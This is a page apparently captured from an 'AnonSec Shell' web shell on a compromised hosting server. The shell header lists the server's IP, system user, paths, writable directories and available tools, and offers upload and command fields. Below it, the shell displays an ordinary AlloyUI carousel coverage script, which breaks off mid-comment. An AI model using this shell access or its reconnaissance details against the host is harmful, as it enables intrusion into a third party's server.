AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/build/aui-carousel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/build/aui-carousel/aui-carousel-coverage.js
if (typeof __coverage__ === 'undefined') { __coverage__ = {}; }
if (!__coverage__['build/aui-carousel/aui-carousel.js']) {
   __coverage__['build/aui-carousel/aui-carousel.js'] = {"path":"build/aui-carousel/aui-carousel.js","s":{"1":0,"2":0,"3":0,"4":0,"5":0,"6":0,"7":0,"8":0,"9":0,"10":0,"11":0,"12":0,"13":0,"14":0,"15":0,"16":0,"17":0,"18":0,"19":0,"20":0,"21":0,"22":0,"23":0,"24":0,"25":0,"26":0,"27":0,"28":0,"29":0,"30":0,"31":0,"32":0,"33":0,"34":0,"35":0,"36":0,"37":0,"38":0,"39":0,"40":0,"41":0,"42":0,"43":0,"44":0,"45":0,"46":0,"47":0,"48":0,"49":0,"50":0,"51":0,"52":0,"53":0,"54":0,"55":0,"56":0,"57":0,"58":0,"59":0,"60":0,"61":0,"62":0,"63":0,"64":0,"65":0,"66":0,"67":0,"68":0,"69":0,"70":0,"71":0,"72":0,"73":0,"74":0,"75":0,"76":0,"77":0,"78":0,"79":0,"80":0,"81":0,"82":0,"83":0,"84":0,"85":0,"86":0},"b":{"1":[0,0],"2":[0,0],"3":[0,0],"4":[0,0],"5":[0,0],"6":[0,0],"7":[0,0,0,0],"8":[0,0],"9":[0,0],"10":[0,0],"11":[0,0],"12":[0,0],"13":[0,0],"14":[0,0],"15":[0,0],"16":[0,0],"17":[0,0],"18":[0,0],"19":[0,0],"20":[0,0],"21":[0,0],"22":[0,0],"23":[0,0],"24":[0,0],"25":[0,0]},"f":{"1":0,"2":0,"3":0,"4":0,"5":0,"6":0,"7":0,"8":0,"9":0,"10":0,"11":0,"12":0,"13":0,"14":0,"15":0,"16":0,"17":0,"18":0,"19":0,"20":0,"21":0,"22":0,"23":0,"24":0,"25":0,"26":0,"27":0,"28":0,"29":0,"30":0,"31":0,"32":0},"fnMap":{"1":{"name":"(anonymous_1)","line":1,"loc":{"start":{"line":1,"column":24},"end":{"line":1,"column":43}}},"2":{"name":"(anonymous_2)","line":72,"loc":{"start":{"line":72,"column":12},"end":{"line":72,"column":23}}},"3":{"name":"(anonymous_3)","line":91,"loc":{"start":{"line":91,"column":12},"end":{"line":91,"column":23}}},"4":{"name":"(anonymous_4)","line":101,"loc":{"start":{"line":101,"column":16},"end":{"line":101,"column":27}}},"5":{"name":"(anonymous_5)","line":114,"loc":{"start":{"line":114,"column":10},"end":{"line":114,"column":24}}},"6":{"name":"(anonymous_6)","line":124,"loc":{"start":{"line":124,"column":26},"end":{"line":124,"column":37}}},"7":{"name":"(anonymous_7)","line":137,"loc":{"start":{"line":137,"column":38},"end":{"line":137,"column":49}}},"8":{"name":"(anonymous_8)","line":147,"loc":{"start":{"line":147,"column":34},"end":{"line":147,"column":45}}},"9":{"name":"(anonymous_9)","line":157,"loc":{"start":{"line":157,"column":30},"end":{"line":157,"column":41}}},"10":{"name":"(anonymous_10)","line":168,"loc":{"start":{"line":168,"column":22},"end":{"line":168,"column":38}}},"11":{"name":"(anonymous_11)","line":181,"loc":{"start":{"line":181,"column":19},"end":{"line":181,"column":30}}},"12":{"name":"(anonymous_12)","line":200,"loc":{"start":{"line":200,"column":23},"end":{"line":200,"column":34}}},"13":{"name":"(anonymous_13)","line":225,"loc":{"start":{"line":225,"column":21},"end":{"line":225,"column":32}}},"14":{"name":"(anonymous_14)","line":254,"loc":{"start":{"line":254,"column":19},"end":{"line":254,"column":30}}},"15":{"name":"(anonymous_15)","line":271,"loc":{"start":{"line":271,"column":45},"end":{"line":271,"column":56}}},"16":{"name":"(anonymous_16)","line":285,"loc":{"start":{"line":285,"column":24},"end":{"line":285,"column":40}}},"17":{"name":"(anonymous_17)","line":299,"loc":{"start":{"line":299,"column":22},"end":{"line":299,"column":38}}},"18":{"name":"(anonymous_18)","line":311,"loc":{"start":{"line":311,"column":22},"end":{"line":311,"column":33}}},"19":{"name":"(anonymous_19)","line":322,"loc":{"start":{"line":322,"column":21},"end":{"line":322,"column":37}}},"20":{"name":"(anonymous_20)","line":340,"loc":{"start":{"line":340,"column":18},"end":{"line":340,"column":34}}},"21":{"name":"(anonymous_21)","line":354,"loc":{"start":{"line":354,"column":18},"end":{"line":354,"column":34}}},"22":{"name":"(anonymous_22)","line":367,"loc":{"start":{"line":367,"column":19},"end":{"line":367,"column":30}}},"23":{"name":"(anonymous_23)","line":382,"loc":{"start":{"line":382,"column":18},"end":{"line":382,"column":29}}},"24":{"name":"(anonymous_24)","line":395,"loc":{"start":{"line":395,"column":21},"end":{"line":395,"column":32}}},"25":{"name":"(anonymous_25)","line":407,"loc":{"start":{"line":407,"column":19},"end":{"line":407,"column":30}}},"26":{"name":"(anonymous_26)","line":418,"loc":{"start":{"line":418,"column":18},"end":{"line":418,"column":32}}},"27":{"name":"(anonymous_27)","line":431,"loc":{"start":{"line":431,"column":21},"end":{"line":431,"column":32}}},"28":{"name":"(anonymous_28)","line":453,"loc":{"start":{"line":453,"column":29},"end":{"line":453,"column":40}}},"29":{"name":"(anonymous_29)","line":472,"loc":{"start":{"line":472,"column":18},"end":{"line":472,"column":29}}},"30":{"name":"(anonymous_30)","line":493,"loc":{"start":{"line":493,"column":31},"end":{"line":493,"column":45}}},"31":{"name":"(anonymous_31)","line":526,"loc":{"start":{"line":526,"column":20},"end":{"line":526,"column":34}}},"32":{"name":"(anonymous_32)","line":541,"loc":{"start":{"line":541,"column":20},"end":{"line":541,"column":34}}}},"statementMap":{"1":{"start":{"line":1,"column":0},"end":{"line":616,"column":3}},"2":{"start":{"line":9,"column":0},"end":{"line":35,"column":47}},"3":{"start":{"line":52,"column":0},"end":{"line":605,"column":3}},"4":{"start":{"line":73,"column":8},"end":{"line":73,"column":60}},"5":{"start":{"line":75,"column":8},"end":{"line":80,"column":11}},"6":{"start":{"line":82,"column":8},"end":{"line":82,"column":33}},"7":{"start":{"line":92,"column":8},"end":{"line":92,"column":39}},"8":{"start":{"line":102,"column":8},"end":{"line":104,"column":9}},"9":{"start":{"line":103,"column":12},"end":{"line":103,"column":52}},"10":{"start":{"line":115,"column":8},"end":{"line":115,"column":38}},"11":{"start":{"line":125,"column":8},"end":{"line":125,"column":33}},"12":{"start":{"line":127,"column":8},"end":{"line":127,"column":31}},"13":{"start":{"line":128,"column":8},"end":{"line":128,"column":39}},"14":{"start":{"line":138,"column":8},"end":{"line":138,"column":29}},"15":{"start":{"line":148,"column":8},"end":{"line":148,"column":39}},"16":{"start":{"line":158,"column":8},"end":{"line":158,"column":33}},"17":{"start":{"line":169,"column":8},"end":{"line":172,"column":11}},"18":{"start":{"line":182,"column":8},"end":{"line":184,"column":9}},"19":{"start":{"line":183,"column":12},"end":{"line":183,"column":52}},"20":{"start":{"line":186,"column":8},"end":{"line":191,"column":10}},"21":{"start":{"line":201,"column":8},"end":{"line":203,"column":52}},"22":{"start":{"line":205,"column":8},"end":{"line":216,"column":9}},"23":{"start":{"line":206,"column":12},"end":{"line":211,"column":14}},"24":{"start":{"line":214,"column":12},"end":{"line":214,"column":65}},"25":{"start":{"line":215,"column":12},"end":{"line":215,"column":42}},"26":{"start":{"line":226,"column":8},"end":{"line":230,"column":17}},"27":{"start":{"line":232,"column":8},"end":{"line":239,"column":9}},"28":{"start":{"line":233,"column":12},"end":{"line":238,"column":14}},"29":{"start":{"line":241,"column":8},"end":{"line":243,"column":12}},"30":{"start":{"line":245,"column":8},"end":{"line":245,"column":20}},"31":{"start":{"line":255,"column":8},"end":{"line":257,"column":9}},"32":{"start":{"line":256,"column":12},"end":{"line":256,"column":19}},"33":{"start":{"line":259,"column":8},"end":{"line":259,"column":67}},"34":{"start":{"line":261,"column":8},"end":{"line":262,"column":26}},"35":{"start":{"line":264,"column":8},"end":{"line":275,"column":9}},"36":{"start":{"line":265,"column":12},"end":{"line":265,"column":80}},"37":{"start":{"line":266,"column":12},"end":{"line":266,"column":79}},"38":{"start":{"line":268,"column":12},"end":{"line":268,"column":56}},"39":{"start":{"line":269,"column":12},"end":{"line":269,"column":62}},"40":{"start":{"line":271,"column":12},"end":{"line":274,"column":15}},"41":{"start":{"line":272,"column":16},"end":{"line":272,"column":63}},"42":{"start":{"line":273,"column":16},"end":{"line":273,"column":69}},"43":{"start":{"line":286,"column":8},"end":{"line":286,"column":56}},"44":{"start":{"line":287,"column":8},"end":{"line":288,"column":73}},"45":{"start":{"line":300,"column":8},"end":{"line":302,"column":9}},"46":{"start":{"line":301,"column":12},"end":{"line":301,"column":33}},"47":{"start":{"line":312,"column":8},"end":{"line":312,"column":28}},"48":{"start":{"line":323,"column":8},"end":{"line":323,"column":69}},"49":{"start":{"line":325,"column":8},"end":{"line":325,"column":31}},"50":{"start":{"line":327,"column":8},"end":{"line":329,"column":9}},"51":{"start":{"line":328,"column":12},"end":{"line":328,"column":83}},"52":{"start":{"line":341,"column":8},"end":{"line":343,"column":9}},"53":{"start":{"line":342,"column":12},"end":{"line":342,"column":32}},"54":{"start":{"line":355,"column":8},"end":{"line":357,"column":9}},"55":{"start":{"line":356,"column":12},"end":{"line":356,"column":33}},"56":{"start":{"line":368,"column":8},"end":{"line":371,"column":9}},"57":{"start":{"line":369,"column":12},"end":{"line":369,"column":25}},"58":{"start":{"line":370,"column":12},"end":{"line":370,"column":39}},"59":{"start":{"line":383,"column":8},"end":{"line":386,"column":9}},"60":{"start":{"line":384,"column":12},"end":{"line":384,"column":24}},"61":{"start":{"line":385,"column":12},"end":{"line":385,"column":40}},"62":{"start":{"line":396,"column":8},"end":{"line":396,"column":61}},"63":{"start":{"line":408,"column":8},"end":{"line":408,"column":69}},"64":{"start":{"line":419,"column":8},"end":{"line":419,"column":60}},"65":{"start":{"line":421,"column":8},"end":{"line":421,"column":60}},"66":{"start":{"line":422,"column":8},"end":{"line":422,"column":24}},"67":{"start":{"line":432,"column":8},"end":{"line":433,"column":54}},"68":{"start":{"line":435,"column":8},"end":{"line":437,"column":9}},"69":{"start":{"line":436,"column":12},"end":{"line":436,"column":43}},"70":{"start":{"line":439,"column":8},"end":{"line":444,"column":9}},"71":{"start":{"line":440,"column":12},"end":{"line":440,"column":61}},"72":{"start":{"line":441,"column":12},"end":{"line":443,"column":13}},"73":{"start":{"line":442,"column":16},"end":{"line":442,"column":50}},"74":{"start":{"line":454,"column":8},"end":{"line":454,"column":60}},"75":{"start":{"line":456,"column":8},"end":{"line":456,"column":102}},"76":{"start":{"line":458,"column":8},"end":{"line":463,"column":9}},"77":{"start":{"line":459,"column":12},"end":{"line":459,"column":78}},"78":{"start":{"line":462,"column":12},"end":{"line":462,"column":39}},"79":{"start":{"line":473,"column":8},"end":{"line":475,"column":9}},"80":{"start":{"line":474,"column":12},"end":{"line":474,"column":19}},"81":{"start":{"line":477,"column":8},"end":{"line":482,"column":9}},"82":{"start":{"line":478,"column":12},"end":{"line":478,"column":69}},"83":{"start":{"line":481,"column":12},"end":{"line":481,"column":69}},"84":{"start":{"line":494,"column":8},"end":{"line":494,"column":69}},"85":{"start":{"line":527,"column":16},"end":{"line":527,"column":81}},"86":{"start":{"line":542,"column":16},"end":{"line":542,"column":81}}},"branchMap":{"1":{"line":102,"type":"if","locations":[{"start":{"line":102,"column":8},"end":{"line":102,"column":8}},{"start":{"line":102,"column":8},"end":{"line":102,"column":8}}]},"2":{"line":182,"type":"if","locations":[{"start":{"line":182,"column":8},"end":{"line":182,"column":8}},{"start":{"line":182,"column":8},"end":{"line":182,"column":8}}]},"3":{"line":205,"type":"if","locations":[{"start":{"line":205,"column":8},"end":{"line":205,"column":8}},{"start":{"line":205,"column":8},"end":{"line":205,"column":8}}]},"4":{"line":235,"type":"cond-expr","locations":[{"start":{"line":235,"column":53},"end":{"line":235,"column":73}},{"start":{"line":235,"column":76},"end":{"line":235,"column":97}}]},"5":{"line":255,"type":"if","locations":[{"start":{"line":255,"column":8},"end":{"line":255,"column":8}},{"start":{"line":255,"column":8},"end":{"line":255,"column":8}}]},"6":{"line":264,"type":"if","locations":[{"start":{"line":264,"column":8},"end":{"line":264,"column":8}},{"start":{"line":264,"column":8},"end":{"line":264,"column":8}}]},"7":{"line":287,"type":"binary-expr","locations":[{"start":{"line":287,"column":16},"end":{"line":287,"column":43}},{"start":{"line":287,"column":47},"end":{"line":287,"column":75}},{"start":{"line":288,"column":12},"end":{"line":288,"column":38}},{"start":{"line":288,"column":42},"end":{"line":288,"column":71}}]},"8":{"line":300,"type":"if","locations":[{"start":{"line":300,"column":8},"end":{"line":300,"column":8}},{"start":{"line":300,"column":8},"end":{"line":300,"column":8}}]},"9":{"line":327,"type":"if","locations":[{"start":{"line":327,"column":8},"end":{"line":327,"column":8}},{"start":{"line":327,"column":8},"end":{"line":327,"column":8}}]},"10":{"line":341,"type":"if","locations":[{"start":{"line":341,"column":8},"end":{"line":341,"column":8}},{"start":{"line":341,"column":8},"end":{"line":341,"column":8}}]},"11":{"line":341,"type":"binary-expr","locations":[{"start":{"line":341,"column":12},"end":{"line":341,"column":31}},{"start":{"line":341,"column":35},"end":{"line":341,"column":73}}]},"12":{"line":355,"type":"if","locations":[{"start":{"line":355,"column":8},"end":{"line":355,"column":8}},{"start":{"line":355,"column":8},"end":{"line":355,"column":8}}]},"13":{"line":355,"type":"binary-expr","locations":[{"start":{"line":355,"column":12},"end":{"line":355,"column":31}},{"start":{"line":355,"column":35},"end":{"line":355,"column":73}}]},"14":{"line":368,"type":"if","locations":[{"start":{"line":368,"column":8},"end":{"line":368,"column":8}},{"start":{"line":368,"column":8},"end":{"line":368,"column":8}}]},"15":{"line":383,"type":"if","locations":[{"start":{"line":383,"column":8},"end":{"line":383,"column":8}},{"start":{"line":383,"column":8},"end":{"line":383,"column":8}}]},"16":{"line":419,"type":"binary-expr","locations":[{"start":{"line":419,"column":23},"end":{"line":419,"column":33}},{"start":{"line":419,"column":37},"end":{"line":419,"column":59}}]},"17":{"line":435,"type":"if","locations":[{"start":{"line":435,"column":8},"end":{"line":435,"column":8}},{"start":{"line":435,"column":8},"end":{"line":435,"column":8}}]},"18":{"line":439,"type":"if","locations":[{"start":{"line":439,"column":8},"end":{"line":439,"column":8}},{"start":{"line":439,"column":8},"end":{"line":439,"column":8}}]},"19":{"line":441,"type":"if","locations":[{"start":{"line":441,"column":12},"end":{"line":441,"column":12}},{"start":{"line":441,"column":12},"end":{"line":441,"column":12}}]},"20":{"line":458,"type":"if","locations":[{"start":{"line":458,"column":8},"end":{"line":458,"column":8}},{"start":{"line":458,"column":8},"end":{"line":458,"column":8}}]},"21":{"line":473,"type":"if","locations":[{"start":{"line":473,"column":8},"end":{"line":473,"column":8}},{"start":{"line":473,"column":8},"end":{"line":473,"column":8}}]},"22":{"line":477,"type":"if","locations":[{"start":{"line":477,"column":8},"end":{"line":477,"column":8}},{"start":{"line":477,"column":8},"end":{"line":477,"column":8}}]},"23":{"line":494,"type":"binary-expr","locations":[{"start":{"line":494,"column":15},"end":{"line":494,"column":39}},{"start":{"line":494,"column":43},"end":{"line":494,"column":68}}]},"24":{"line":527,"type":"cond-expr","locations":[{"start":{"line":527,"column":29},"end":{"line":527,"column":32}},{"start":{"line":527,"column":35},"end":{"line":527,"column":80}}]},"25":{"line":542,"type":"cond-expr","locations":[{"start":{"line":542,"column":29},"end":{"line":542,"column":32}},{"start":{"line":542,"column":35},"end":{"line":542,"column":80}}]}},"code":["(function () { YUI.add('aui-carousel', function (A, NAME) {","","/**"," * The Carousel Component"," *"," * @module aui-carousel"," */","","var Lang = A.Lang,","","    getCN = A.getClassName,","","    CSS_IMAGE_VIEWER_CONTROL = getCN('image', 'viewer', 'base', 'control'),","    CSS_IMAGE_VIEWER_CONTROL_LEFT = getCN('image', 'viewer', 'base', 'control', 'left'),","    CSS_IMAGE_VIEWER_CONTROL_RIGHT = getCN('image', 'viewer', 'base', 'control', 'right'),","","    CSS_ITEM = getCN('image', 'viewer', 'base', 'image'),","    CSS_ITEM_ACTIVE_TRANSITION = getCN('carousel', 'item', 'active', 'transition'),","    CSS_ITEM_TRANSITION = getCN('carousel', 'item', 'transition'),","    CSS_MENU = getCN('carousel', 'menu'),","    CSS_MENU_ACTIVE = getCN('carousel', 'menu', 'active'),","    CSS_MENU_INDEX = getCN('carousel', 'menu', 'index'),","    CSS_MENU_ITEM = getCN('carousel', 'menu', 'item'),","    CSS_MENU_NEXT = getCN('carousel', 'menu', 'next'),","    CSS_MENU_PLAY = getCN('carousel', 'menu', 'play'),","    CSS_MENU_PAUSE = getCN('carousel', 'menu', 'pause'),","    CSS_MENU_PREV = getCN('carousel', 'menu', 'prev'),","    CSS_MENU_ITEM_DEFAULT = [CSS_MENU_ITEM, CSS_MENU_INDEX].join(' '),","    CSS_MENU_ITEM_ACTIVE = [CSS_MENU_ITEM, CSS_MENU_INDEX, CSS_MENU_ACTIVE].join(' '),","    CSS_OUTSIDE_MENU = getCN('carousel', 'outside', 'menu'),","","    NODE_MENU_INSIDE = 'inside',","    NODE_MENU_OUTSIDE = 'outside',","","    SELECTOR_MENU_INDEX = '.' + CSS_MENU_INDEX;","","/**"," * A base class for Carousel."," *"," * Check the [live demo](http://alloyui.com/examples/carousel/)."," *"," * @class A.Carousel"," * @extends A.ImageViewerBase"," * @uses A.ImageViewerSlideshow"," * @param {Object} config Object literal specifying widget configuration"," *     properties."," * @constructor"," * @include http://alloyui.com/examples/carousel/basic-markup.html"," * @include http://alloyui.com/examples/carousel/basic.js"," */","","A.Carousel = A.Base.create('carousel', A.ImageViewerBase, [A.ImageViewerSlideshow], {","    TPL_ITEM: '<li><a class=\"' + CSS_MENU_ITEM + ' ' +","        CSS_IMAGE_VIEWER_CONTROL + ' {cssClasses}\">{index}</a></li>',","","    TPL_MENU: '<div class=\"' + CSS_MENU + '\"><menu>' +","        '<li><a class=\"' + CSS_MENU_ITEM + ' ' + CSS_MENU_PLAY + ' ' +","        CSS_IMAGE_VIEWER_CONTROL + '\"></a></li>' +","        '<li><a class=\"' + CSS_MENU_ITEM + ' ' + CSS_MENU_PREV + ' ' +","        CSS_IMAGE_VIEWER_CONTROL_LEFT + ' ' + CSS_IMAGE_VIEWER_CONTROL + '\"></a></li>' +","        '{items}' +","        '<li><a class=\"' + CSS_MENU_ITEM + ' ' + CSS_MENU_NEXT + ' ' +","        CSS_IMAGE_VIEWER_CONTROL_RIGHT + ' ' + CSS_IMAGE_VIEWER_CONTROL + '\"></a></li>' +","        '</menu></div>',","","    /**","     * Bind the events on the `A.Carousel` UI. Lifecycle.","     *","     * @method bindUI","     * @protected","     */","    bindUI: function() {","        A.Carousel.superclass.bindUI.apply(this, arguments);","","        this.after({","            nodeMenuChange: this._afterNodeMenuChange,","            nodeMenuItemSelectorChange: this._afterNodeMenuItemSelectorChange,","            nodeMenuPositionChange: this._afterNodeMenuPositionChange,","            pauseOnHoverChange: this._afterPauseOnHoverChange","        });","","        this._bindPauseOnHover();","    },","","    /**","     * Sync the `A.Carousel` UI. Lifecycle.","     *","     * @method syncUI","     * @protected","     */","    syncUI: function() {","        this._syncNodeMenuPositionUI();","    },","","    /**","     * Destructor implementation for the `A.Carousel` class. Lifecycle.","     *","     * @method destructor","     * @protected","     */","    destructor: function() {","        if (this._menuClickDelegateHandler) {","            this._menuClickDelegateHandler.detach();","        }","    },","","    /**","     * Set the `currentIndex` attribute which","     * activates a certain item on `A.Carousel` based on its index.","     *","     * @method item","     * @param {Number} val","     */","    item: function(val) {","        this.set('currentIndex', val);","    },","","    /**","     * Fired after `nodeMenu` attribute changes.","     *","     * @method _afterNodeMenuChange","     * @protected","     */","    _afterNodeMenuChange: function() {","        this._bindPauseOnHover();","","        this._syncControlsUI();","        this._syncNodeMenuPositionUI();","    },","","    /**","     * Fired after `nodeMenuItemSelector` attribute changes.","     *","     * @method _afterNodeMenuItemSelectorChange","     * @protected","     */","    _afterNodeMenuItemSelectorChange: function() {","        this._bindControls();","    },","","    /**","     * Fired after `nodeMenuPosition` attribute changes.","     *","     * @method _afterNodeMenuPositionChange","     * @protected","     */","    _afterNodeMenuPositionChange: function() {","        this._syncNodeMenuPositionUI();","    },","","    /**","     * Fired after `pauseOnHover` attribute changes.","     *","     * @method _afterPauseOnHoverChange","     * @protected","     */","    _afterPauseOnHoverChange: function() {","        this._bindPauseOnHover();","    },","","    /**","     * Fired after the `responsive` event.","     *","     * @method _afterResponsive","     * @param {EventFacade} event","     * @protected","     */","    _afterResponsive: function(event) {","        this.get('boundingBox').all('.image-viewer-base-image-list, .image-viewer-base-image').setStyles({","            height: event.height,","            width: event.width","        });","    },","","    /**","     * Binds the events related to the carousel's controls.","     *","     * @method _bindControls","     * @protected","     */","    _bindControls: function() {","        if (this._menuClickDelegateHandler) {","            this._menuClickDelegateHandler.detach();","        }","","        this._menuClickDelegateHandler = this.get('boundingBox').delegate(","            'click',","            this._onClickControl,","            this.get('nodeMenuItemSelector'),","            this","        );","    },","","    /**","     * Binds the events related to the pause on hover behavior.","     *","     * @method _bindPauseOnHover","     * @protected","     */","    _bindPauseOnHover: function() {","        var boundingBox = this.get('boundingBox'),","            nodeMenu = this.get('nodeMenu'),","            pauseOnHover = this.get('pauseOnHover');","","        if (pauseOnHover) {","            this.hoverEventHandles = [","                boundingBox.on('mouseenter', A.bind(this._onCarouselEnter, this)),","                boundingBox.on('mouseleave', A.bind(this._onCarouselLeave, this)),","                nodeMenu.on('mouseenter', A.bind(this._onMenuEnter, this)),","                nodeMenu.on('mouseleave', A.bind(this._onMenuLeave, this))","            ];","        }","        else {","            (new A.EventHandle(this.hoverEventHandles)).detach();","            this.hoverEventHandles = null;","        }","    },","","    /**","     * Creates the default menu node.","     *","     * @method _renderMenu","     * @protected","     */","    _createMenuNode: function() {","        var currentIndex = this.get('currentIndex'),","            items = [],","            i,","            len = this.get('sources').length,","            menu;","","        for (i = 0; i < len; i++) {","            items.push(","                Lang.sub(this.TPL_ITEM, {","                    cssClasses: currentIndex === i ? CSS_MENU_ITEM_ACTIVE : CSS_MENU_ITEM_DEFAULT,","                    index: i","                })","            );","        }","","        menu = A.Node.create(Lang.sub(this.TPL_MENU, {","            items: items.join(' ')","        }));","","        return menu;","    },","","    /**","     * Default behavior for animating the current image in the viewer.","     *","     * @method _defAnimateFn","     * @protected","     */","    _defAnimateFn: function() {","        if (!this.get('playing')) {","            return;","        }","","        A.Carousel.superclass._defAnimateFn.apply(this, arguments);","","        var currentImage,","            previousImage;","","        if (A.Lang.isNumber(this._previousIndex)) {","            previousImage = this._getImageContainerAtIndex(this._previousIndex);","            currentImage = this._getCurrentImageContainer(this._previousIndex);","","            previousImage.addClass(CSS_ITEM_TRANSITION);","            currentImage.addClass(CSS_ITEM_ACTIVE_TRANSITION);","","            this._animation.onceAfter('end', function() {","                previousImage.removeClass(CSS_ITEM_TRANSITION);","                currentImage.removeClass(CSS_ITEM_ACTIVE_TRANSITION);","            });","        }","    },","","    /**","     * Checks if the mouse is inside the menu region.","     *","     * @method  _isMouseInsideMenu","     * @param  {EventFacade} event","     * @return {Boolean}","     */","    _isMouseInsideMenu: function(event) {","        var region = this.get('nodeMenu').get('region');","        return (region.left > event.clientX || event.clientX > region.right ||","            region.top > event.clientY || event.clientY > region.bottom);","    },","","    /**","     * Fired when the mouse enters the carousel. If it has also entered the","     * menu the slideshow will be resumed.","     *","     * @method _onCarouselEnter","     * @param {EventFacade} event","     * @protected","     */","    _onCarouselEnter: function(event) {","        if (this._isMouseInsideMenu(event)) {","            this._pauseOnEnter();","        }","    },","","    /**","     * Fired when the mouse leaves the carousel, which will resume the slideshow.","     *","     * @method _onCarouselLeave","     * @protected","     */","    _onCarouselLeave: function() {","        this._playOnLeave();","    },","","    /**","     * Fired when one of the carousel's controls is clicked.","     *","     * @method _onClickControl","     * @param event","     * @protected","     */","    _onClickControl: function(event) {","        A.Carousel.superclass._onClickControl.apply(this, arguments);","","        event.preventDefault();","","        if (event.currentTarget.hasClass(CSS_MENU_INDEX)) {","            this.set('currentIndex', this._menuNodes.indexOf(event.currentTarget));","        }","    },","","    /**","     * Fired when the mouse enters the menu. If it's coming from the carousel","     * the slideshow will be resumed.","     *","     * @method _onMenuEnter","     * @param {EventFacade} event","     * @protected","     */","    _onMenuEnter: function(event) {","        if (event.relatedTarget && event.relatedTarget.hasClass(CSS_ITEM)) {","            this._playOnLeave();","        }","    },","","    /**","     * Fired when the mouse leaves the menu. If it's going to the carousel","     * the slideshow will be paused.","     *","     * @method _onMenuLeave","     * @param {EventFacade} event","     * @protected","     */","    _onMenuLeave: function(event) {","        if (event.relatedTarget && event.relatedTarget.hasClass(CSS_ITEM)) {","            this._pauseOnEnter();","        }","    },","","    /**","     * Called when the mouse enters the carousel with pauseOnHover set to","     * true. Pauses the slideshow unless it was already paused.","     *","     * @method _pauseOnEnter","     * @protected","     */","    _pauseOnEnter: function() {","        if (this.get('playing')) {","            this.pause();","            this._pausedOnEnter = true;","        }","    },","","    /**","     * Called when the mouse leaves the carousel with pauseOnHover set to","     * true. If the slideshow was paused due to entering the carousel before,","     * this will resume it.","     *","     * @method _playOnLeave","     * @protected","     */","    _playOnLeave: function() {","        if (this._pausedOnEnter) {","            this.play();","            this._pausedOnEnter = false;","        }","    },","","    /**","     * Renders the carousel's menu with all its controls.","     *","     * @method _renderControls","     * @protected","     */","    _renderControls: function() {","        this.get('boundingBox').append(this.get('nodeMenu'));","    },","","    /**","     * Overrides the original method for rendering the player button. The button","     * is already rendered together with the menu by `_renderControls`, so this is","     * just storing its reference in the right variable.","     *","     * @method _renderPlayer","     * @protected","     */","    _renderPlayer: function() {","        this._player = this.get('nodeMenu').one('.' + CSS_MENU_PLAY);","    },","","    /**","     * Set the `nodeMenu` attribute.","     *","     * @method _setNodeMenu","     * @param val","     * @protected","     */","    _setNodeMenu: function(val) {","        var nodeMenu = A.one(val) || this._createMenuNode();","","        this._menuNodes = nodeMenu.all(SELECTOR_MENU_INDEX);","        return nodeMenu;","    },","","    /**","     * Updates the controls, showing or hiding them as necessary.","     *","     * @method _syncControlsUI","     * @protected","     */","    _syncControlsUI: function() {","        var currentIndex = this.get('currentIndex'),","            item = this._menuNodes.item(currentIndex);","","        if (item) {","            item.addClass(CSS_MENU_ACTIVE);","        }","","        if (A.Lang.isNumber(this._previousIndex)) {","            item = this._menuNodes.item(this._previousIndex);","            if (item) {","                item.removeClass(CSS_MENU_ACTIVE);","            }","        }","    },","","    /**","     * Updates the UI according to the value of the `nodeMenuPosition` attribute.","     *","     * @method _syncNodeMenuPositionUI","     * @protected","     */","    _syncNodeMenuPositionUI: function() {","        var nodeMenuPosition = this.get('nodeMenuPosition');","","        this.get('boundingBox').toggleClass(CSS_OUTSIDE_MENU, nodeMenuPosition === NODE_MENU_OUTSIDE);","","        if (nodeMenuPosition === NODE_MENU_OUTSIDE) {","            this.set('gutter', [0, this.get('nodeMenu').get('offsetHeight')]);","        }","        else {","            this.set('gutter', [0, 0]);","        }","    },","","    /**","     * Updates the player according to the value of the `playing` attribute.","     *","     * @method _syncPlaying","     * @protected","     */","    _syncPlaying: function() {","        if (!this._player) {","            return;","        }","","        if (this.get('playing')) {","            this._player.replaceClass(CSS_MENU_PLAY, CSS_MENU_PAUSE);","        }","        else {","            this._player.replaceClass(CSS_MENU_PAUSE, CSS_MENU_PLAY);","        }","    },","","    /**","     * Validates the given value for the `nodeMenuPosition` attribute.","     *","     * @method _validateNodeMenuPosition","     * @param {String} val The value to be validated","     * @return {Boolean} `true` if the value is valid or `false` otherwise","     * @protected","     */","    _validateNodeMenuPosition: function(val) {","        return val === NODE_MENU_INSIDE || val === NODE_MENU_OUTSIDE;","    }","}, {","    /**","     * Static property used to define the default attribute","     * configuration for the `A.Carousel`.","     *","     * @property ATTRS","     * @type Object","     * @static","     */","    ATTRS: {","        /**","         * If the carousel will be circular or not.","         *","         * @attribute circular","         * @default true","         * @type Boolean","         */","        circular: {","            value: true,","            validator: A.Lang.isBoolean","        },","","        /**","         * The node for the control that shows the next image.","         *","         * @attribute controlNext","         * @default null","         * @type Node","         */","        controlNext: {","            setter: function(val) {","                return val ? val : this.get('nodeMenu').one('.' + CSS_MENU_NEXT);","            },","            value: null,","            validator: A.Lang.isNode","        },","","        /**","         * The node for the control that shows the previous image.","         *","         * @attribute controlPrevious","         * @default null","         * @type Node","         */","        controlPrevious: {","            setter: function(val) {","                return val ? val : this.get('nodeMenu').one('.' + CSS_MENU_PREV);","            },","            value: null,","            validator: A.Lang.isNode","        },","","        /**","         * Node container of the navigation items.","         *","         * @attribute nodeMenu","         * @default null","         * @type Node | String","         */","        nodeMenu: {","            value: null,","            setter: '_setNodeMenu'","        },","","        /**","         * CSS selector to match the navigation items.","         *","         * @attribute nodeMenuItemSelector","         * @default .carousel-menu-item","         * @type String","         */","        nodeMenuItemSelector: {","            value: '.' + CSS_MENU_ITEM,","            validator: A.Lang.isString","        },","","        /**","         * Position of the menu.","         *","         * @attribute nodeMenuPosition","         * @default 'inside'","         * @type String","         */","        nodeMenuPosition: {","            value: NODE_MENU_INSIDE,","            validator: '_validateNodeMenuPosition'","        },","","        /**","         * Determines if `A.Carousel` will pause on mouse enter or play when","         